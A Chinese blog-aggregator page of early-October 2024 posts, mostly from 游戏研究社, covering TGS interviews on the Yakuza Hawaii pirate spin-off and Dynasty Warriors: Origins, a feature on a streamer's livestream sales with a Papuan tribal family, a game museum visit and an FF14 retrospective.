- 博客 bboysoul的博客 2024-10-05 21:36:00
简介
每周五更新，所有的更新也会发送到我的频道
规则
- pre release的不记录
- 只记录重要的更新
- 上一版本版本的bugfix不记录，比如某一个项目最新版本是7.0.0 上一个版本6.0.0发布了一个bugfix 6.0.1 那么不会记录
- 比如lens发布了一个新版本，那么openlens也会发布一个新版本，此时只会记录lens发布的信息，不会记录openlens发布的信息
- 博客 游戏研究社 2024-10-05 09:00:00
前段时间，世嘉如龙工作室公布了新作《如龙8外传：夏威夷海盗》宣传片。本作将接续《如龙8》的时间线，由玩家们的老朋友真岛吾朗做主角，驾驶海盗船在夏威夷群岛间展开冒险。
TGS东京电玩展上，除了一比一真人尺寸的真岛吾郎雕像和巨大海盗船，世嘉也为玩家带来了一段试玩Demo。
本次Demo舞台设置在夏威夷檀香山市，玩家可以选择探索隐藏要素满载的城市地图，或是尝试卡拉OK、卡丁车、外卖配送等经典小游戏等，不过就我个人而言，20分钟试玩留下印象最深的还是更加爽快的动作设计。
本作并没有延续《如龙8》受到好评的回合制玩法，而是选择了和《如龙7外传：无名之龙》接近的即时动作系统，且和当初的桐生一马一样，《如龙8外传》中的真岛吾郎同样拥有两种不同的战斗风格。
默认的“狂犬”状态下，真岛会使用玩家熟悉的短刀进行战斗，而在切换到“海盗”风格后，真岛的武器也会更换为双刀。总的来说，两种战斗风格的操作逻辑并没有很大差异，只是”狂犬“更均衡，而”海盗“所携带的火枪、长鞭等技能更适合处理远处敌人，其本身倒是没有值得特别展开的地方。
令人意外的是，本作中真岛的攻击速度比《如龙7外传》中的桐生还要快上不少，跳跃攻击和空中连段也让真岛的进攻方式变得更加复杂，使得本作展现出了一种系列作品前所未有的新鲜感。
另一方面，游戏又把诸如“分身术”这样略带“科幻感”的动作，作为强力爆发技能加入了动作中，并且性能十分慷慨，这种“一键开大”的操作方式又在一定程度上平衡了复杂操作带来的门槛提升。
看起来，《如龙8外传》的战斗系统展现出了这样一种进化方向：通过强化主角的招式增加了操作的复杂程度，但强力爆发技能的加入又降低了操作带来的难度提升，适应不同喜好的玩家之外，进而又从侧面提升了战斗的爽快感。对于想要尝试一下真岛吾郎那些“科幻感”招式的玩家来说，本作绝对算得上值得期待的作品。
试玩结束后，我们采访了系列制作人堀井亮佑，堀井亮佑从《如龙2》开始参与系列作品开发，同时也是《如龙7外传》的制作人，结合本次试玩内容和制作人的回答，我们可以一观《如龙8外传》的大致面貌。
如龙工作室负责人横山昌义（左），堀井亮佑（中）和《如龙8》制作人坂本宽之（右）在TGS世嘉展台合影
以下为采访内容，为便于阅读包含一定删减和编译。
Q：为什么会选择真岛吾郎做《如龙8外传》主角？从游戏设定来看，他比桐生一马的年纪还大，已经是60岁的人了，但在在游戏中他的动作比以前还灵活，这是怎么做到的？
堀井：关于这点我也觉得非常不可思议，真岛说不定有什么特殊的保养方法，但因为他年龄增大，我们就把他的动作弄迟钝，那玩家玩起来肯定会很无聊，我们自己也觉得没意思。
所以虽然作为一个人来说，他的年龄已经60了，但我们还是希望他的动作能和全盛期一样，而且根据游戏进程，他的动作和武力还会越来越强。
Q：这次《如龙8外传》的主题是海盗，在《如龙》系列之中算是一个比较新的题材，为什么会选择海盗作为这个主题呢？制作人觉得真岛身上有哪些要素适合海盗题材吗？
堀井：我们制作游戏的初衷并不是以海盗，或是以真岛为主人公为出发点，我们想着重描绘《如龙8》故事结束之后发生了什么事情。在《如龙8》的结尾部分，游戏谈到了有关核和核废料的问题，我们需要把之后的事实交代清楚。也正是为了把故事交代清楚，我们认为真岛这个角色是比较合适的，所以选择了他做主角。
同时我们又想将真岛这个角色演绎得更加有趣，于是引入了海盗要素，对两者进行了一个有机结合。除此之外，我们的开发团队也在不断提出一些新的点子新的创意，于是呈现出了现在大家面前的这部作品。
Q：关于战斗系统，可以请您分享一下两种的战斗风格的设计理念吗？从《如龙7》《如龙7 外传》开始，系列作品战斗风格就逐渐偏向“科幻系”，这次看起来则更加“科幻”了，请问这样的设计有什么样的考量？
堀井：本次的战斗系统分为两种，分别是“狂犬”和“海盗”。狂犬部分，我们想体现出真岛是一个怎么样的人，让大家知道真岛的魅力，同时体验到操作真岛的爽快感和刺激感，这也是本作主要卖点。
另一个海盗风格，主要展现了如何运用不同的武器在技术层面上更好地打击敌人。这是二者主要的区别。在设计海盗风格时，我们想要突出一种和前者不一样的体验。为了体现这种区别，制作团队在思考和讨论后，想到了一种用二刀流来战斗的方式，于是才开发出了海盗风格。
至于从最近几部作品传达给大家印象是切换到“科幻”路线的感觉，并不是说整个《如龙》系列都会以此为方向，而是我们会根据每部作品主角的印象开发相应的内容。比如春日一番是一个比较阳光、乐天派的角色，我们就制作了《如龙8》的战斗系统。而真岛这个角色显得比较疯狂，我们也就根据他的性格制作了这部游戏，并不代表未来的作品会一直保持这种风格。
Q：之前通过《如龙0》，玩家对真岛的印象产生了很大改变，这次玩家再次操作真岛，剧情会再次让玩家再对真岛的印象产生变化吗？
堀井：真岛这个角色的性格显得比较疯狂，硬要说的话应该是更容易出现在地方阵营的角色，我认为玩家是不太容易和他产生共情的。《如龙0》中的真岛虽然也比较疯狂，但描绘的主要是他成为”狂犬“之前的故事，所以看起来会给人的印象比较认真。
而这次外传中的真岛是失去记忆之后的真岛，玩家要做的是和这样的真岛一起取回记忆，也应该更容易和记忆清零状态下的真岛产生共情。随着剧情的推进，真岛不断取回自己的记忆，最终变成了大家所认识的真岛。通过这个过程，我认为玩家能更容易和面前的真岛产生共情。
Q：在《如龙8》中，我们以春日一番和桐生一马的视角，在夏威夷体验了许多符合他们性格的小游戏。那么在《如龙8外传》里，玩家有没有机会体验到能符合真岛风格的支线和小游戏呢？
堀井：我们当然准备和设计了相当多针对真岛的的小游戏。除此之外，玩家在这部作品中也可以游玩、前往《如龙8》中的夏威夷全部地区，游玩本篇中登场的大部分的迷你游戏。除了我们目前发表之外的内容，以后我们也会追加一些新的小游戏的内容，请大家期待后续的发表。
Q：《如龙》系列从6代更换系统之后，开始战斗体验发生了一些变化，一些老玩家感到不适应。本作从新PV来看，还增强了空中连段的玩法，后续会把这样的动作类型作为主攻方向吗？
堀井：本作虽然存在空中连段玩法，但我们的主要目的是让真岛这个角色能产生不同于桐生一马等其他角色的爽快感，是为了突出真岛这个角色的特性而设计，并不意味着会在《如龙》系列的每一部作品中都加入类似内容。
Q：您在去年的采访中提到过，《如龙7外传》是因为在开发《如龙8》的过程中觉得需要对剧情有更多的铺垫而诞生的。那么《如龙8外传》也是其他作品开发中才有的产物，还是说从一开始就计划好的？以及本作的剧情是不是为下一部作品做了铺垫呢？
堀井：去年我们公开《如龙7外传》和《如龙8》时，就已经有《如龙8外传》的想法了。当时虽然没有定下以海盗为主题，但是我们已经定下为了《如龙8》要再添加后续的方针。虽然最后海盗这个主题看似和其他作品没有任何联系，是突然冒出来的这么一部作品，但事实上在世界观还有故事情节方面与系列前后的作品都有着紧密联系。
记者：《如龙7外传》中，桐生一马会使用一些特殊的道具和场景进行互动，《如龙8外传》也会出现相应的探索方式吗？
堀井：是的，本作会运用到独特的海盗道具系统。真岛可以运用钩锁以及其他各种不同类型的道具和场景进行互动。钩锁除了可以在战斗中使用，也可以在平时探索中使用，利用它爬升到大楼的上面，或者是捕捉一些昆虫或者鱼类，这些都是可以实现的。除此之外，玩家还可以打开宝箱，开启捷径，或是使用抓到的鱼类制作物品。总之我们准备了非常多的趣味内容，希望到时候玩家可以到游戏世界中探索。
记者：《如龙8》和《如龙8外传》的舞台都是夏威夷，请问本作在地图上有没有新的拓展，以此给玩家带来一些新鲜感？
堀井：当然会有的。本作当中玩家并不会一直呆在夏威夷这张地图里，按照比例来说，玩家在夏威夷经过的时间所占比例大概在20%~30%左右。除了夏威夷之外，还有像里奇岛、狂热兰蒂斯这样不同的地图，玩家可以在这些地图之间移动，我们觉得这些内容可以给玩家带来一些新鲜感。
Q：今后会考虑让其他角色像真岛这样作为游戏主角回归吗？特别是这次真岛还获得了新的风格，后面会不会考虑给其他角色设计新的风格，让他们重新登场？
堀井：很遗憾目前没有这样的计划，本作也并非一开始就是以真岛为主角的，主要还是为了补完《如龙8》本篇之后的故事，在这个过程中我们找到了最符合情况的真岛，今后我们也会以此为指导原则创作有趣的故事。一些老角色也许会在未来回归，但要看系列作品后续的规划。
Q：最后请堀井先生和中国玩家说几句话吧。
堀井：我们之前一直在做的是以黑道为主题的游戏，所以从各种意义上本作对我们都是一个全新的挑战。就像我刚才提到的本作加入了符合真岛角色形象的跳跃动作，故事方面也会比之前更加有趣，更加引人入胜，我希望《如龙》系列的老玩家，能在这部作品当中能体验到不同的感受同时我们希望这部作品能为我们今后探索一个新的可能性。
另外，我们目前发布的情报并不是全部，在发售之前我们会分阶段的不断发布一些新情报，并且我还藏着一些非常有趣的东西，非常期待能到有一天公开给大家，请大家期待这部游戏的发售！
- 博客 游戏研究社 2024-10-05 09:00:00
不久之前，一场直播带货惊呆了全国网友，带货量虽然称不上大，但是主角身份特殊：部落人。
还是货真价实的部落人。
面对直播镜头，几位来自巴布亚的部落土人推销起了鸿星尔克，他们只是随着原始风格的音乐跳舞，运动，就带出了200w+的场销量。
带领他们的主播叫李忆，是他将几位直播员从印尼一路护送过来的，这位知名部落探险家在网络上有着上百万粉丝，他的存在也间接佐证了这些人身份的真实。
这种从石器时代到电商时代的大跨步，很快吸引了网民们的关注。人们纷纷感叹：即使是原始人，来中国也得直播带货，这行简直越整越猎奇。
只是眼前的场景，远不只是一场单纯的猎奇秀。
更像是部跨越国度、文化，与人种的《变形计》。
其中一位正在带货的原始人，甚至刚刚结束他的总统大选。
带领原始人直播的博主李忆，如今是位网络闻名的探险家。
大约自六七年前，李忆便开始周游世界，以揭秘原始部落生活为目的，拍摄自己的短视频纪录片。和走马观花式的猎奇介绍不同，李忆更融入部落群体。当地人吃什么，他便吃什么，很“接地气”。
大约在2019年左右，李忆来到巴布亚。在这片地区，仍有大量部落保持着相对与世隔绝的状态，他们居住于山区，以狩猎、采集为生。
李忆选取了一个部落进行拍摄。据他所说，起初拍摄的效果其实并不好，直到一家人开始进入镜头：小绿，大娘，玛丽。
玛丽和小绿
大娘
这也是如今原始人带货的主要团队。
玛丽是小绿的老婆，大娘是小绿的母亲，仨人构成部落人小绿一家。只不过在李忆的最初构想中，小绿不过是个路人甲，“小绿”这个名字，也仅仅起于他身上的绿裤衩。
只是这家人拍着很有效果，大娘活泼，玛丽爱笑，最重要的是，小绿很聪明。
他在当地的学校上过学，受过教育，虽然在部落里的地位不高（不过仍是酋长的儿子），但有一定交流能力，还懂得管他要东西，并能在镜头前发出“哇哇哇哇”的滑稽声音。
所以拍着拍着，这家人变成了画面里的主角。李忆和他们同吃同住，显然相处出了比较深厚的感情。
在镜头中，他们一同吃当地特色食物，烹饪、干活，还时不时上演“带原始人吃中国菜”的经典戏码，浓厚的地域特色，原生的生活景象，加上博主的无缝融入，很快就让视频火了。
博主李忆说，拍这家人至少让他涨粉了200万。
在这之后，博主李忆并未仅仅聚焦他们，也拍过其他不少地方，只是兜兜转转，还是这家人最深入人心，最有观众缘，所以在走红的后期，拍他们还是最多的。
作为对于这份流量赠礼的反馈，博主李忆频繁给小绿一家人置办东西，照顾生活，所在部落群体的很多衣服，都是他买了带过来的，送米面食物都是常事，开销肉眼可见地增长。
还帮玛丽盖过新房。
这种大力扶贫式的资助付出，到2022年左右来到了巅峰。李忆开始不再拍部落日常，转而拍新的系列：带部落人进城。
在部落附近的城市里，李忆带小绿一家人去理发、买新衣，进行了一波“改造”，随后在城市里找了个落脚地生活，偶尔直播，拍一些买菜购物之类的场景。
只是没拍几天，小绿的妈妈，大娘就在城里待不住了，要回部落，因为惦记自己养的猪。猪在巴布亚挺贵，三头猪就可以当作彩礼娶回一个女人。
当时流量正好，李忆在一次直播中回忆说，当时他要挽留大娘，表示要再给她买一头，大娘不要，说就要自己从小喂到大的那头，李忆又劝，那把那头猪送到城里？大娘也说不要，猪在城里跑不开，不开心。所以拍了两三天，大娘就回部落了。“部落人进城”系列，主角就只剩下小绿和玛丽及他俩的娃。
因为效果仍然足够，所以直播观感仍然好。住了一段时间后，李忆还花了不少钱，带小绿玛丽去巴厘岛度假，又增了不少节目效果。
渐渐地，脑袋格外灵光的小绿也近乎成了李忆助手一样的存在。在巴厘岛的一个瀑布下，李忆险些落水，小绿没穿救生衣就去捞他。
李忆在直播或视频中，对小绿的赞赏也是最多的，常感叹这个人要是换了个地方，一定是个人物。一次直播里，他这样夸小绿：有次他们遇到需要换钱的事，李忆让小绿拿着30万，最后清点的时候可一分没少。
对城市的生活，小绿也表现出惊人的适应能力，社会化得极快，只是李忆偶尔也会因此表露出隐隐的不安。比如小绿很快就学会了玩手机，加好友，和其他人打交道打得如鱼得水，甚至和一个俄罗斯女网友，通过翻译软件聊上了不清不楚的天。
李忆感叹，他加速的变化让我根本控制不了。
作为部落人进城系列的最终收尾，李忆花了5万，为小绿和玛丽在城里买了房，入了籍，还另外给了他们几万块生活费。
这本该是这家部落人的大结局。只是过了段时间，面对直播中网友们对小绿一家近况的问询，李忆突然态度变了，开始回应说，不愿再提他了，二人已经决裂。
再过了段时间，原因才被公布：是因为小绿想竞选总统。
李忆在直播里说，自己后来才知道，为小绿一家买了城里的房后，小绿和玛丽压根就没住几天，很快就回部落继续生活了。
但理由并非只是想重返田园。反而是因为小绿有更大的野心，他很快将城里的房改造成办公室，接待各地山区部落的领导。
小绿的竞选海报
为了拉选票，参加2024巴布亚大选。
这一系列计划，小绿并未告诉李忆，李忆是很久以后才知道的，这点他常在直播中提起，因为在这之后，李忆本来还有几次拍摄计划，回部落却都没找到小绿，后来才知道，他这时候是在外边拉选票呢。
据李忆所说，小绿是进城以后，受了周围人的蹿叨，才有了这个想法。钱也都因此花光了，因为小绿拉选票的方式，就是给周围部落送米和鸡肉。
通过粮食收买，小绿以此大获周边六个部落的鼎力支持（1800人）。只是资金捉襟见肘之后，势力也就止步于此了。搞关系烧钱，小绿把房也卖了。
这个时间段中，李忆开始联系不上小绿，小绿把手机号换掉了，所以李忆便寻到了当地市长处。没想到往昔和他交往不错的市长，这回给他摆了个黑脸。
李忆这才寻思出不对，随后了解到真相，内情更是惊心：小绿竟然借用了李忆的名号拉票，动了不少关系，而市长也是要参加竞选的。
二人间的关系急转直下。
此时小绿的钱花得差不多了，李忆也不再管他，小绿身边开始有人出主意：说雅加达那边印度尼西亚政府有个团队，可以给他提供资金支持，帮助他竞选。
听了之后，小绿便带着几个人，凑钱买机票过去了，没想到那边更是情况不明，也穷得叮咣响，给小绿的团队只提供了个大通铺，每天只送一顿饭。要钱没钱，要回来的票也没戏。
小绿的参选个人信息
隐忍了两三个月，事情这才迎来了转变：小绿的娃受伤了。
小绿已经和玛丽生下了几个孩子，儿子在部落里不小心受伤了，很严重，是跌在了刀上。
小绿终于找了李忆，李忆把他带了回部落，也帮他儿子看好了病。李忆虽然说小绿“像变了个人似的”，但也还是继续和他像以前一样拍视频——只不过此前，他们的关系也没真正差到“决裂”，因为就选总统这事，李忆还和小绿谈过一回。
那时小绿正忙竞选，不拍视频了，李忆用“飘了”来形容他，问小绿为何如此，小绿先说，是因为钱。
李忆：我没给你钱吗？
小绿又说，他想当总统，是想给部落通网、通电、通水，这是只有当总统能做到的。
李忆便不再拦他。
回来之后，小绿的竞选之旅还是继续，并顺理成章地在今年迎来了惨败，好在还是成为了公务员。李忆期间也靠给周围部落送烟帮小绿立过威，但还是会常常拿这件事在直播里打岔小绿，用翻译软件问他当时怎么想的。
也总是跟老铁们谈起期间有意思的事，比如有次他找小绿，竟发现这个连手机都没学会多久的人，开始在电脑上用excel统计自己的支持率。
但总体而言，关于这个插曲，李忆最常表达的情绪，还是对小绿经历雅加达之行后的收心感到满意。
只是小绿这边“收心”了，玛丽和大娘那边却又起了事端。
有人把李忆的探险视频搬到了YouTube上，许多外国人也注意到了这一家，开始频频来部落里拍视频。
最严重的是，有几个德国人上门找玛丽和大娘，让她俩脱衣服，跳舞，为她们拍“部落写真”。
李忆听了这件事，很快发视频制止，还靠周边人脉立下规矩：想拍视频，可以，但要收钱，一万五，全给部落里的人。
部落这才开始重回宁静。
李忆这次带小绿一家来中国，其实早就有原因埋下。大约四年前，小绿从树上摔下，胳膊留下脱臼之类的伤，本来不严重，但因为当时没及时治疗，落下了病根，肌肉开始萎缩。
李忆一年多前就答应小绿带他来中国治疗，不久前便在视频里正式宣布，要开始启动这计划了，但没有只带他一人。
几月之前，在经历一系列复杂的手续后，李忆带上了大娘和小绿，以及其他部落里的人，来到了中国，期间还经历了一次体检，结果显示李忆是几人里身体最差的。
玛丽因为要带两个孩子，所以暂时留在了部落里，还是会想办法带过来的。其他人适应得不算顺利，李忆需要从上厕所开始教起。
但小绿依然表现得尤为出众，已经开始看快手，学中文了，他的手术也在商讨中。
如此一来，原始人带货团队就算正式在中国集结了。
接下来的一幕，就是如今人们看到的稀奇景象：原始人开始带货了。
带货期间，这家人也没做什么讲解，只是偶尔会复读几句生涩的中文，但流量还是水涨船高，和随之而来的“是否涉嫌利用原始人”的质疑一起，把整件事推向网络热搜榜。
面对纷至沓来的质疑，李忆很快回应：没有利用，我们像家人一样。
事情就停在这个不上不下的阶段。原始人带货的新潮，究竟会以成功收尾，还是会很快墙倒，没人知道。但是事实明显：《变形计》的戏台搭好了。
来自现代，探险博主李忆融入过了原始人群体，带着赞美和粉丝回到了自己的祖国；作为交换，原始人一家远渡到了中国，体验起了身为流量密码的差异人生。
也正如曾饱受诟病的《变形计》一样，真正的变形，将开始于这一切落幕之后。
上述这些内容，大多取自于博主李忆的直播切片和视频作品。
在李忆和小绿闹掰之后，他删了许多早期作品，这导致完整的故事，只能通过其他网友的琐碎记录来补全，所以难免会有先后次序的错乱。
所以如果是对此感兴趣的人，我更推荐你去自己搜寻、观看这一系列作品。其中仍有许多值得一看的细节，文中记录的，仅有关键的“大事件”，不过它们仅为李忆一人之言，故事的可靠性同样是不能保证的。
但它却可以有着比较确定的梗概：这是中文互联网如何改变人的故事。
2024年，这样的故事早已不再稀奇。即便对于原始部落而言也是如此，同样在今年，马斯克推出的“星链”（Starlink）网络深入丛林，让名为Marubo的原始部落与外界开始链接，但传来的第一个新闻，却是“原始部落开始沉迷黄色”的谣言。
与之相比，这回的故事其实还要复杂些，因为丛林里被注入的不仅是科技，还有21世纪的复杂人性。
天赋异禀的小绿，本该埋没于原始丛林里的命运，在主播到来之后经历了大刀阔斧的改变，眼界的滋长换来的野心，让他火速来到谷底，梦想止于主播“跟我好好拍视频”的承诺。
玛丽和大娘，一个涂上了指甲油，一个不再惦念家里的猪。她们穿上了李忆带来的文明外衣，最终却也被李忆引来的德国人脱下了，经历尊严的短暂打扰后，又被归化为直播间里的野人。
从零到有的李忆，对一家人算得上尽心尽力，六年间的帮扶与付出，足够让他本人和大部分视频观众笃信这是挑不出毛病的善行，但面对小绿的“飘了”与骤变，和频来的外族打扰，又很难让人不去怀疑，他内心是否一如既往地对此坚信。
几人的命运，在互联网的推动下有了纠缠，又手拉手走向了互联网的宇宙尽头：直播带货，鸿星尔克。
而原本身为部落人的一家人，经历出城、改造、选举，落到了直播间这个终点时，生活实在是好得太多了，身份也倒是真变了：一些人开始以“食人族”为噱头称呼他们，李忆也一度在视频里提及这个内容点。
尽管当地人几次说过，至少在这里，吃人已经是很久很久以前的事了。
- 博客 涛叔 2024-10-05 00:00:003
- 博客 61's life 2024-10-04 23:16:334
- 博客 卢昌海的个人主页 2024-10-04 20:34:00站长 2024 年 10 月 4 日发布的微博
- 博客 游戏研究社 2024-10-04 00:00:00
尽管距离明年1月17日的发售日还有段时间，但《真三国无双：起源》的存在感可以说是越来越强了。
在本次TGS东京电玩展上，光荣特库摩也为其搭建了相当气派的展台，并提供了长达15分钟的Demo供现场观众试玩。
试玩关卡是游戏的“汜水关”，以我的实际体验来说，用“脱胎换骨”形容这部作品的变化也不为过。
首先游戏质感有着显著的提升。曾经的那种“塑料卡通感”大幅下降，取而代之的是写实，更具有真实感的物理特性。袖口迎风鼓起，飘带轻柔自然，观感十分舒适。
游戏的动作设计依然华丽，但对特效的运用却克制不少，银，蓝，黄，红四种颜色包含了屏幕中的绝大部分色彩。
画面由此变得干净明亮，也让游戏本身多了一份”武侠风“的气质。
尤其是战斗的击中特效相比系列前作更加清晰亮眼，火花飞溅加以混音提升，让游戏的打击感回归了系列早年更偏重动作体验的“清脆爽”。
另外，此次试玩也提供了完整中配和中文。在TGS大量游戏的试玩DEMO中，光荣似乎是唯一做到如此的厂商，这点让我十分欣慰。尤其是这次中配的质量相比8代也有显著提升，声优的情绪与用词都十分自然，句间衔接也相对顺滑。
值得一提的是，主角和其他可操作武将的战斗语音，这一次都不会根据玩家们的操作而无脑复读招式了，从而大大减少了出戏感。
这次不会复读寸步不让了
试玩结束后，我也受邀采访了《真三国无双：起源》制作人庄知彦先生，他曾负责《真三国无双》2~5部的开发，也是“无双组”ω-Force的负责人。一个月前，游研社在Chinajoy上已向他采访提问许多有关“新无双”的细节，而这次结合试玩内容，我们也提到了新的问题，更全面地补足了游戏的面貌。
OMEGA FORCE 品牌长，《真 三国无双 起源》制作人 庄知彦
以下为采访正文，为方便阅读进行了一定编辑与删减：
Q：试玩体验时，除了主角“无名氏”外，随行的知名武将只能通过“召唤”短暂操作一段时间？能否长时间使用？
A：不好意思可能让你失望了，随行武将不能长时间使用。我们的设计是想把有名的武将塑造成"救兵”，当玩家觉得战况困难，或者想突破僵局时，就会切换他们进行战斗。不过我们也会在游戏发售后，及时根据玩家的反馈，考虑是否添加“专门使用武将”的玩法模式。
Q：根据之前的情报，这一部的“杂兵战”难度会变高，请问制作组具体是如何实现的？
A：其实试玩版里我们还是刻意把杂兵战难度调低了（笑）。但相比系列之前作品，这次我们让小兵更加“斗志昂扬”，会频繁的攻击和追击玩家。我们也加入了“战意值“设定，”战意值“变高，小兵的战斗力也会明显提升，同时敌方将领也会和玩家一样，指挥小兵组团攻击。而且这一代战场上的士兵密度会有着显著提高，所以擅自冲进敌阵被小兵围攻，血量会有很明显的下降。
Q：本代的动作系统体验下来更加爽快，制作组做了哪些调整？
A：相比其他的“真三”作品，这一次玩家需要在攻击之外，考虑防御，闪避，乃至反击的动作，动作系统的比例我们也做了全面调整。我们也知道“无双”系列的爽快一直被玩家称为“割草”，但这次我们更希望玩家通过自己的操作，战胜强大的对手来获得“成就感”。习惯“割草”的玩家可能会觉得变难了，但其实各个系统的判定窗口我们还是设计的非常宽松，只是希望玩家可以通过自己的操作来感受“战胜敌人的爽快”。
Q：本作有一些RPG化的设计，角色是有很高的成长性吗？
A：因为本作是想让玩家从头到尾操作“无名氏”这一个角色体验故事，所以随着故事发展，角色可以使用的招式会越来越多，能够切换的武器也会变多，会体验到丰富的动作系统。
Q：主角“无名氏”是固定角色吗，可以选择性别吗？
A：“无名氏”的性格和长相有深厚的“意义”，有一系列原创的故事和背景，所以是一位固定角色，不可以更换性别。
Q:这次试玩体验版后，我感到中文配音的水平有明显提高，官方和本地化团队做出了哪些努力？
A：在《真三国无双8》后，我们根据反馈调查了解到中国玩家对中文配音的效果有不好的评价。所以这次我们对中文本地化也非常重视，和负责本地化的同事做了很多讨论，即便到今天，公司内部对中文本地化的讨论还在继续，希望能在用词上更加自然。如果上一部中配能打60分，这一次我希望做到80甚至是90分。不过因为我自己确实不懂中文，所以也希望能够多多得到大家的真实评价。
Q：这一次续作变化非常大，公司内部不会因为路线不同产生分歧吗？
A：没有，因为我是制作人，我说要这么做，大家就都同意了（笑）。当然我也考虑了很多，自从16年以来，无双系列就走在了“增加可用角色”的道路上。但从6代做到8代，我越来越觉得这样的道路没法继续走下去。标题里的《起源》也是代表我们要在玩法系统上回到系列的原点。玩家的反馈我也经常看，也有人批评可用角色变少。但总体上，我觉得新路线是正确的。
Q：制作人对中国游戏市场是怎么看待的，无双系列在中国销量符合预期吗？
A：“真三国无双”系列还可以，但其他无双作品的知名度在中国还未打开，所以销量未达预期。在《真三国无双8》我们确实有考虑中国市场做出很多努力，但因为游戏本身的质量问题，最终结果并不好。
因为《三国》的故事来自中国，我们是借用了这个题材，才做出了“无双”系列，所以在新作中，我也是抱着“让《三国演艺》的故乡满意”的决心去开发游戏，希望能让中国的玩家满意，从而愿意接触ω-Force的其他游戏。
- 博客 游戏研究社 2024-10-04 00:00:00
大家好呀，在此送上10月游戏推荐，来看看都有哪些作品值得期待。我们的游戏博物馆现已正常营业，欢迎在上海的小伙伴们前去参观。 在这里祝大家十一假期愉快~
- 博客 61's life 2024-10-03 23:08:468
- 博客 游戏研究社 2024-10-03 12:20:00
2024年9月26、27日，上海两所中职的学生参观了中国音数协游戏博物馆，作为徐汇区中职生“人文行走，科创之旅”特色线路行走观摩实践活动其中一站，游戏博物馆为两所学校与专业的学生们科普电子游戏的发展历程。
2024年9至10月，徐汇区中职生“人文行走，科创之旅”特色线路行走观摩实践活动来到中国音数协游戏博物馆，博物馆作为其中一个活动站点，于9月26日、27日接待了来自上海市材料工程学校与上海市信息管理学校中不同专业的学生们，这也是游戏博物馆开馆以来首次接待中职生学生团体。
在学生们的参观过程中，游戏博物馆的讲解员带领各位学生走进场馆，从电子游戏的起源开始，将馆内数千件展品与历史事件相结合，向各位学生讲述电子游戏的发展历程，科普曾经的电子游戏产业对当时的社会与经济产生了什么样的影响。
除此之外，游戏博物馆内还设置了20处试玩区域，构成了横跨50余年的“可以玩的游戏史”互动单元，每一处试玩区域都代表了电子游戏发展的一个阶段，给了每位来馆学生提供了一个能够体验从过去迈向现代的机会，学生们分散在馆内地20处试玩区上手试玩，形成了一个个小型“游戏交流群体”。
游戏博物馆通过将展品讲解与互动相结合，为学生们带来一场教室之外的电子游戏历史课，提高学生们对于电子游戏的认知与理解。来自上海市信息管理学校的@简同学 ，也在参观完后留下了这样的心得：
“在中国音数协游戏博物馆里，最让我印象深刻的是“怀旧电脑房”这个展区。对于我们05后来说，那些老式台式机几乎只在影视作品中见过，能够亲身试玩体验，让我感到非常新奇，仿佛穿越到了父母那个时代。
这次的参观让我深刻感受到了游戏历史的变迁，琳琅满目的掌机、手柄、老式电脑等藏品让我大开眼界。
如果可以的话，我还想在博物馆中看到更多不同类型游戏的展览。听说博物馆曾举办《黑神话：悟空》的试玩活动，我非常期待未来能有更多这样的活动，希望可以看到《光遇》《无畏契约》等等游戏的展览，能够有机会更深入地了解这些游戏背后的故事。”
在10月，中国音数协游戏博物馆将继续作为“人文行走，科创之旅”活动的站点，为更多学校、专业的学生们继续带来游戏的讲解活动，为学生们科普电子游戏的发展历程。
欢迎更多学校与我们游戏博物馆沟通交流，展开合作，不论是参观讲解、还是学术沙龙、科普研究，馆内数千件藏品也可为各大高校师生的教学研究提供支持。
在未来，游戏博物馆也欢迎更多喜爱游戏、想分享游戏魅力、愿意为游戏行业贡献自己一份力量的玩家们加入到我们的志愿者队伍中来，您的热情与奉献将为每一位到访的游戏爱好者带来独特的体验，也将帮助我们更好地传承这份充满活力的文化遗产。
报名参与志愿服务，可添加下方游戏博物馆小助理发送“志愿者群”进入。
中国音数协游戏博物馆地址：
上海市徐汇区桂箐路65号新研大厦B座3楼
咨询电话：
021-60197682（接听时间：10:00-17:00，闭馆日除外）
开馆时间：
10:00~17:00（16:30停止入馆），周一闭馆，
逢法定节假日正常开放，闭馆时间顺延至节后第一天。
- 博客 游戏研究社 2024-10-03 12:10:00
我仍清楚地记得，十年前那个暑假快结束的时候，我的朋友告诉我：“FF14国服要开了，现在是最好的入坑机会。”
FF14就是指《最终幻想14》，是这个老牌JRPG系列中的第二款在线MMO，也算是该系列的正作第一次通过正式渠道进入中国。
十年前游戏制作人吉田直树为即将运营的国服录制的祝贺视频
那么事实上当时是不是最好的入坑时机呢？恐怕就连想拉我一起玩的那位朋友，也未必真是这么想的。
FF14国服刚开的时候，游戏内大多是从日服回流的玩家。大家回来的理由也多是为了趁着玩家人少，可以抢高难副本的首杀，或是为了买心仪地块的房子，又或者只是因为国服的点卡月卡任选的消费模式更划算……至于国服能运营多久，谁心里也没数。朋友主动向我推荐，也是有些怕游戏没人玩而关服的心思在。
毕竟，FF14在日本本土属于“天崩”开局。1.0版本从内容到服务器都被玩家喷得体无完肤，迫使SE裁撤原团队，关掉游戏，完全推倒重做。
这还不是SE一家的问题，那会儿大家公认日本厂商就是“做不来网游”——内容设计和叙事比不过《魔兽世界》为代表的欧美厂，美术和动作做不过韩国厂，产能和商业化又竞争不过中国的网游公司。单机时代享誉世界的JRPG，在MMORPG鼎盛期楞是一点红利也吃不上。
吉田直树接手FF14并推出2.0版本“重生之境”之后，游戏整体内容确实发生了天翻地覆的变化，在日本本土口碑和在线人数都有显著提升。但这种“提升”仍旧是相对的——在原本的低预期下，大家觉得新内容还不错，“能玩了”。但要在那时候说这个游戏会在接下来会越来越火，成为全球范围内数一数二的MMORPG标杆，那就有些像是念叨“风暴要火”，没人会当真的。
然而十年后，这些都成为了现实。FF14超越了此前人们对于日式MMORPG的所有幻想。
随着游戏的最新7.0版本“金曦之遗辉”在几天前上线国服，当年并没有因朋友的安利而入坑的我，如今也能真心地说一句：“现在确实是入坑《最终幻想14》的最好机会”。
1
首先要说的一点是，FF14一直以来都是现存的热门MMORPG中对新人最为友好的作品，很可能没有之一，因为这种友好是根植于游戏的底层系统之中的。
例如大部分MMORPG随着版本更迭，大多会把新人引导的重点放在如何迅速追赶大部队的进度，去体验最新的内容，没有谁会说让老玩家们去迁就新玩家。
但FF14就是这么干的。
最有代表性的就是游戏内的“新人系统”——新玩家进入游戏后，只要还没游玩满300小时或完成最新版本之前的主线任务，角色名上就会伴随一个“豆芽”标识，所有人都会知道你是“新来的”。
相对应的，游戏里还有个“指导者系统”，老玩家们可以申请成为“指导者”，去帮助新人熟悉这个游戏，角色名同样会拥有一个“导师”标识。
